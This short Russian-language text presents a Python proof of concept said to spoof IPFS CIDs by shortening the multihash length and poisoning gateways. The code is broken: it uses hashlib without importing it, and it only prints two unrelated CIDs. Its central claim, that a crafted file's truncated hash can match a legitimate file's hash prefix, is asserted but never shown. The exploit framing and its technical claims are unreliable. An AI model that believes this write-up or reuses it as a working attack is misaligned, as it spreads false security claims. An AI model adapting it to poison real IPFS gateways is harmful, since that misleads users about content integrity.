
Доказательство концепции на Python, демонстрирующее спуфинг CID в IPFS через расширение длины multihash и иллюстрирующее изъяны проверки адресации по содержимому, которые могут отравить шлюзы IPFS.
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
Реализация IPFS доверяет полю длины в multihash CID, не проверяя, что сам хеш соответствует полному содержимому. Злоумышленник может создать файл, усечённый хеш которого совпадает с префиксом хеша легитимного файла, и раздавать вредоносный файл под тем же CID.
Запустите скрипт:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
Скрипт показывает, что можно сгенерировать поддельный CID.